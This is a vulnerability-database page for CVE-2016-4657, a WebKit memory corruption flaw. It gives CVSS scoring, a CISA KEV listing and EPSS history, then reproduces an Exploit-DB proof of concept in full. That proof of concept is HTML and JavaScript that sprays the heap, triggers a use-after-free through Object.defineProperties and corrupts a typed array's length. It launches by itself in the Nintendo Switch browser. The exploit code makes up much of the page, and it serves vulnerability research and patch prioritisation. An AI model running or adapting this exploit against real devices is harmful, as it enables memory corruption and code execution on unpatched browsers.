CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
WebKit in Apple iOS before 9.3.5 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site.
Out-of-bounds Write The product writes data past the end, or before the beginning, of the intended buffer.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V3.1
8.8
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
Required
Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
6.8
AV:N/AC:M/Au:N/C:P/I:P/A:P
nvd@nist.gov
CISA KEV (Known Exploited Vulnerabilities)
Vulnerability name : Apple iOS Webkit Memory Corruption Vulnerability
Required action : Apply updates per vendor instructions.
Known To Be Used in Ransomware Campaigns : Unknown
Added : 2022-05-23 22h00 +00:00
Action is due : 2022-06-13 22h00 +00:00
Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
39.3%
–
–
2022-04-03
–
–
39.3%
–
–
2022-07-10
–
–
42.32%
–
–
2023-03-12
–
–
–
89.29%
–
2023-04-02
–
–
–
89.88%
–
2023-05-14
–
–
–
88.64%
–
2023-07-30
–
–
–
88.89%
–
2023-09-10
–
–
–
87.6%
–
2024-02-11
–
–
–
87.6%
–
2024-03-10
–
–
–
87.54%
–
2024-06-02
–
–
–
87.54%
–
2024-06-23
–
–
–
86.23%
–
2024-07-07
–
–
–
78.14%
–
2024-12-22
–
–
–
68.1%
–
2025-03-02
–
–
–
56.62%
–
2025-01-19
–
–
–
68.1%
–
2025-03-09
–
–
–
56.62%
–
2025-03-18
–
–
–
–
79.22%
2025-05-01
–
–
–
–
77.49%
2025-05-01
–
–
–
–
77.49,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2017-03-11 23h00 +00:00 Author : qwertyoruiop EDB Verified : No
<!doctype html>
<html>
<head>
<title>CVE-2016-4657 Switch PoC</title>
<style>
body {font-size: 2em;}
a {text-decoration: none; color: #000;}
a:hover {color: #f00; font-weight: bold;}
</style>
</head>
<body>
<h1>CVE-2016-4657 Nintendo Switch PoC</h1>
<ul>
<li><a href=\'javascript:go();\'> go!</a></li>
<li><a href=\'javascript:document.location.reload();\'> reload</a></li>
</ul>
<div id=\'status\'> waiting... click go.</div>
<script>
// display JS errors as alerts. Helps debugging.
window.onerror = function(error, url, line) {
alert(error+\' URL:\'+url+\' L:\'+line);
};
</script>
<script>
// based on jbme.qwertyoruiop.com
// Thanks to:
// + qwertyoruiop
// + Retr0id
// + Ando
//
// saelo\'s phrack article is invaluable: http://www.phrack.org/papers/attacking_javascript_engines.html
// garbage collection stuff
var pressure = new Array(100);
// do garbage collect
dgc = function() {
for (var i = 0; i < pressure.length; i++) {
pressure[i] = new Uint32Array(0x10000);
}
for (var i = 0; i < pressure.length; i++) {
pressure[i] = 0;
}
}
// access to the overlapping Uint32Array
var bufs = new Array(0x1000);
// we will modify the vector of this
var smash = new Uint32Array(0x10);
// the array with the stale pointer
var stale = 0;
var _dview = null;
// write 2x 32bit in a DataView and get the Float representation of it
function u2d(low, hi) {
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setUint32(0, hi);
_dview.setUint32(4, low);
return _dview.getFloat64(0);
}
function go_() {
// check if the length of the array smash changed already. if yes, bail out.
if (smash.length != 0x10) return;
// garbage collect
dgc();
// new array with 0x100 elements
var arr = new Array(0x100);
// new array buffer of length 0x1000
var yolo = new ArrayBuffer(0x1000);
// populate the arr with pointer to yolo and a number. not quite sure why.
arr[0] = yolo;
arr[1] = 0x13371337;
// create an object whos toString function returns number 10 and messes with arr.
var not_number = {};
not_number.toString = function() {
arr = null;
props[\"stale\"][\"value\"] = null;
// if bufs is already overlapping memory, bail out.
if (bufs[0]) return 10;
// really make sure garbage is collected
// the array pointed at by arr should be gone now.
for (var i = 0; i < 20; i++) {
dgc();
}
// for the whole buf Array
for (i = 0; i < bufs.length; i++) {
// fill it with a lot of Uint32Arrays, hopefully allocated where arr was earlier
bufs[i] = new Uint32Array(0x100 * 2)
// for each element of that array
for (k = 0; k < bufs[i].length;) {
// set memory to 0x41414141 0xffff0000
// basically spraying the JSValue 0xffff000041414141
// which is the Integer 0x41414141
// phrack: Integer FFFF:0000:IIII:IIII
bufs[i][k++] = 0x41414141;
bufs[i][k++] = 0xffff0000;
}
}
return 10;
};
// define a new object with some properties
var props = {
p0: { value: 0 },
p1: { value: 1 },
p2: { value: 2 },
p3: { value: 3 },
p4: { value: 4 },
p5: { value: 5 },
p6: { value: 6 },
p7: { value: 7 },
p8: { value: 8 },
// the length of this object is set to this object that does evil stuff with toString()
length: { value: not_number },
// the reference to the arr array. Which will later be freed.
stale: { value: arr },
after: { value: 666 }
};
// define a new target array
var target = [];
// TRIGGER BUG!
// set the properties of the target based on the previously defined ones
Object.defineProperties(target, props);
// get a reference to the target stale property, which points to arr
stale = target.stale;
// make sure that the stale[0] points actually to the 0x41414141 data if not, we don\'t wanna mess with it and try again
if(stale[0]==0x41414141) {
// stale[0] is now pointing at a fake Integer 0x41414141. Now make it 0x41414242
stale[0] += 0x101;
//stale[0] = 0x41414242;
//document.getElementById(\'status\').innerText = \'bug done.\';
// searching the whole memory that is overlaying the old arr. Looking for 0x41414242
for (i = 0; i < bufs.length; i++) {
for (k = 0; k < bufs[0].length; k++) {
// Found the value! bufs[i][k] point now at the same memory as stale[0]
if (bufs[i][k] == 0x41414242) {
alert(\'Overlapping Arrays found at bufs[\'+i+\'][\'+k+\']\\nsmash.length is still: 0x\'+smash.length.toString(16));
// create a new object. Will look kinda like this:
// 0x0100150000000136 0x0000000000000000 <- fictional value
// 0x0000000000000064 0x0000000000000000 <- [\'a\'],[\'b\']
// 0x???????????????? 0x0000000000000100 <- [\'c\'],[\'d\']
stale[0] = {
\'a\': u2d(105, 0), // the JSObject properties ; 105 is the Structure ID of Uint32Array
\'b\': u2d(0, 0),
\'c\': smash, // var pointing at the struct of a Uint32Array(0x10)
\'d\': u2d(0x100, 0)
}
alert(\'created the JSObject.\\nstale[0] = \'+stale[0]);
// remember the original stale pointer, pointing at the object with the a,b,c,d properties
stale[1] = stale[0];
// now add 0x10 to the pointer of stale[0], which points now in the middle of the object.
bufs[i][k] += 0x10;
// check the type of stale[0].
// removed the loop because it makes the exploit sooooooo unreliable
// based on phrack paper - Predicting structure IDs (http://www.phrack.org/papers/attacking_javascript_engines.html)
/*while(!(stale[0] instanceof Uint32Array)) {
// if stale[0] is not a Uint32Array yet, increment the structureID guess
structureID++;
// assign the next structureID to the original object still referenced by stale[1]
stale[1][\'a\'] = u2d(structureID, 0);
}*/
// Give some information. stale[0] should now be a Uint32Array
alert(\'misaligned the pointer to the JSObject.\\nstale[0] = \'+stale[0]+\'\');
// write to the 6th 32bit value of the memory pointed to by the crafted Uint32Array
// which should point to the struct of smash, allowing us to overwrite the length of smash
stale[0][6] = 0x1337;
// check the length of smash is now.
alert(\'smash.length is now: 0x\'+smash.length.toString(16));
alert(\'done!\\nswitch will probably crash now :O\');
return;
}
}
}
}
document.getElementById(\'status\').innerText = \' fail. refresh the page and try again...\';
setTimeout(function() {document.location.reload();}, 1000);
}
function go() {
document.getElementById(\'status\').innerText = \' go! \';
dgc();
dgc();
dgc();
dgc();
dgc();
dgc();
setTimeout(go_, 500);
}
// if Switch browser is detected, auto start exploit
if(navigator.userAgent.indexOf(\'Nintendo Switch\')>-1) {
document.getElementById(\'status\').innerText = \'Found Nintendo Switch! \';
setTimeout(go, 2000);
}
</script>
</body>
</html>